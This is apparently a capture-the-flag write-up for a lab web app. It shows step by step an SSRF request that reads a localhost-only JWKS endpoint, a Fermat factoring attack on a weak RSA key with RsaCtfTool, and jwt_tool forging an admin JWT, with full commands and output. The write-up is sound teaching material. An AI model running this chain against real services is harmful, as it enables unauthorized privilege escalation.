Skip to content

The best i can do is 4

After their flop in the crypto world, Emudhra decided to start selling lawnmowers. But haven't their bad habits caught up with them?


Reminder: JWT, RS256 and JWKS

The app handles sessions with a JWT, a token holding the user's information. This JWT is signed with RS256 (asymmetric RSA). The private key signs, the public key verifies. That public key is published in a JWKS (a JSON document listing the keys), which the app fetches to validate the signature on every request.

So switching role to admin breaks the signature. The whole challenge is about recovering the private key to forge an admin JWT. More info: https://jwt.io/introduction

Write up

A careless developer left a comment at the top of the file. It tells us that the "/jwk" path is used to verify the signature of the JWTs that identify the user's role in their session:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Emudhra post quantum Lawnmowers</title>
  <!--
    CHANGELOG FOR THE TEAM:

    > 4 was damn solid, that's at least 1.. 2.. 3.. and uhh and 4 possibilities.
    Anyway long story short we did better for our /jwk and nobody can go look at the public key in there anyway.

    #DEFENSE IN DEPTH

  -->

According to the error message, this page isn't reachable "outside of localhost":

GET /jwk

Forbidden
forbidden: localhost only

Looking at the app's frontend, images are loaded like this:

<img loading="lazy" src="/get_tondeuse?url=http://127.0.0.1:8080/tondeuses_granting_service/la_classique.jpg" alt="La Classique">

If the "get_tondeuse" route doesn't validate the tondeuses granting service path, we might get an SSRF and maybe even read the JWK!

GET /get_tondeuse?url=http://127.0.0.1:8080/jwk
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.12.15
Date: Fri, 23 Oct 2026 17:46:39 GMT
Content-Type: application/json
Content-Length: 178
Connection: close

{"keys":[{"alg":"RS256","e":"AQAB","kid":"tondeuse-rsa-1","kty":"RSA","n":"1n3uHYpdc03BN28gatNHInIiKnMgjPxjSiQouFhtcS0PcDgn_pKh61H9-i0DQrmMaw6m4cvLz1bwuG5Dmm7RxQ","use":"sig"}]}

It works!

From there, there are several things to try to forge a valid admin JWT. But given the challenge title, the most obvious one is to brute-force the key.

The first step is to extract the data and convert it into a format RsaCtfTool can use (I use https://gchq.github.io/CyberChef):

n FROM base64 ("A-Za-z0-9-_" chars only) TO Hex = d67dee1d8a5d734dc1376f206ad3472272222a73208cfc634a2428b8586d712d0f703827fe92a1eb51fdfa2d0342b98c6b0ea6e1cbcbcf56f0b86e439a6ed1c5
+ "0x", the prefix RsaCtfTool expects (worst case, its error message tells you)

e FROM base64 TO Hex = 01 00 01

010001 FROM  Base radix=16 = 65537

(here there's no need to bother converting e: AQAB is the standard RSA exponent, so it's always 65537)

RsaCtfTool -n 0xd67dee1d8a5d734dc1376f206ad3472272222a73208cfc634a2428b8586d712d0f703827fe92a1eb51fdfa2d0342b98c6b0ea6e1cbcbcf56f0b86e439a6ed1c5 -e 65537 --attack fermat --private

[*] Testing key /tmp/tmpd6hwa5d8.
[*] Performing fermat attack on /tmp/tmpd6hwa5d8.
[*] Attack success with fermat method !

Results for /tmp/tmpd6hwa5d8:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIBPAIBAAJBANZ97h2KXXNNwTdvIGrTRyJyIipzIIz8Y0okKLhYbXEtD3A4J/6S
oetR/fotA0K5jGsOpuHLy89W8LhuQ5pu0cUCAwEAAQJBAK6BH+PquWLgxKzb/UzL
/Zi5sLBGoBn0ELe2OWbZkpi66gTV+9AkgKFnzA/uGWG99sip2FYovG6JzaayWeit
0oECIQDqVCRannygM0ie+5DF22bksrdCvev4P9PyIhmrYta5YQIhAOpUJFqefKAz
SJ77kMXbZuoA8YbpOyOp/CFQA/pf5b7lAiEAxfVhZODA/gF1F0IEsvHAAfJs2Uhj
AazCW6qtLtln9uECIGkuVZcbdqNOAbXjA4vcPKiivccp33LVtSeay/5Rl0WFAiEA
k78Sll9sCmqU+Q0Jq18CgCVc30fKTfVoZehUPcMPmnc=
-----END RSA PRIVATE KEY-----

Now that we have the key, we can forge our own JWT:

$ jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InRvbmRldXNlLXJzYS0xIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3OTI3ODE0OTQsImV4cCI6MTc5Mjc4NTA5NH0.JINeubeNYa_rlPlcjqR43hJKwJBYel10bb-0vsF6D_7ev9TNaxL5XQX90-sqVO9Q6Q-maIltKFc-YCShJNDa6w -T -S rs256 -pr priv.pem

Token header values:
[1] alg = "RS256"
[2] typ = "JWT"
[3] kid = "tondeuse-rsa-1"
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] user = "guest"
[2] role = "guest"
[3] iat = 1792781494    ==> TIMESTAMP = 2026-10-23 20:51:34 (UTC)
[4] exp = 1792785094    ==> TIMESTAMP = 2026-10-23 21:51:34 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of user is: guest
Please enter new value and hit ENTER
> admin
[1] user = "admin"
[2] role = "guest"
[3] iat = 1792781494    ==> TIMESTAMP = 2026-10-23 20:51:34 (UTC)
[4] exp = 1792785094    ==> TIMESTAMP = 2026-10-23 21:51:34 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of role is: guest
Please enter new value and hit ENTER
> admin
[1] user = "admin"
[2] role = "admin"
[3] iat = 1792781494    ==> TIMESTAMP = 2026-10-23 20:51:34 (UTC)
[4] exp = 1792785094    ==> TIMESTAMP = 2026-10-23 21:51:34 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
jwttool_cb6f5b11f684394240f94f028a67a29f - Tampered token - RSA Signing:
[+] eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InRvbmRldXNlLXJzYS0xIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3OTI3ODE0OTQsImV4cCI6MTc5Mjc4NTA5NH0.keIwRbKeaEF4BvgUaHzsMMVMnf_SXm9drcOiGR8SryJxlgAwmVqgWN49SVaGGRGmsBY8FYAatjnAiXraROveAQ

GET /admin HTTP/1.1
[...]
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InRvbmRldXNlLXJzYS0xIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3OTI3ODE0OTQsImV4cCI6MTc5Mjc4NTA5NH0.keIwRbKeaEF4BvgUaHzsMMVMnf_SXm9drcOiGR8SryJxlgAwmVqgWN49SVaGGRGmsBY8FYAatjnAiXraROveAQ

{
    "flag":"FLAG{PouRtAnt_Je_lai_b1en_sEcurisE_aVEc_le_cadeNAS}",
    "message":"Welcome admin."
}